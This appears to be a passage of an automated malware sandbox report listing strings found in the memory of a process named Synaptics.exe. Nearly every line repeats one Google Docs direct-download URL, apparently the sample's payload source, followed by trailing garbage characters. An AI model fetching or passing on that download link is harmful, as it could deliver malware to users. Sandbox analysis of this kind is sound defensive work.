Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_J
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadaE3d
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadame
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadan
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadat
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadate
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.000000000085E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcJ5aI
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce8F
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcell0l
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelle#B
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelleS
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellei
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcelletR
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcellex
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadclos
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadco
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadco9=fm.
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcted
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctin
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcting
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadctiv
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.lM
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd.tK
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd1
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddA
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddG
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddate
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddo
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadds
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade-Opt
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade1eo
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeC?jnw
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadea
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadec0K
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadected
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectinbR
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadectinc
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaded.mpo
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadel
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelTI
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelXK
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeld2
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelle
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelledP
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellem7
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemG
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadellemP
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadelpM
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem$E
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloademe
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden$3
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden8I
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenDM
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenH2
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenet
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetlS
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniy3m
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo2Q
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoR_
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyo_n
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaders
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadersirB%li
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadesolvtA
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetHO
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetle
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen2
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlenQl
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlena
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlenq
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfw
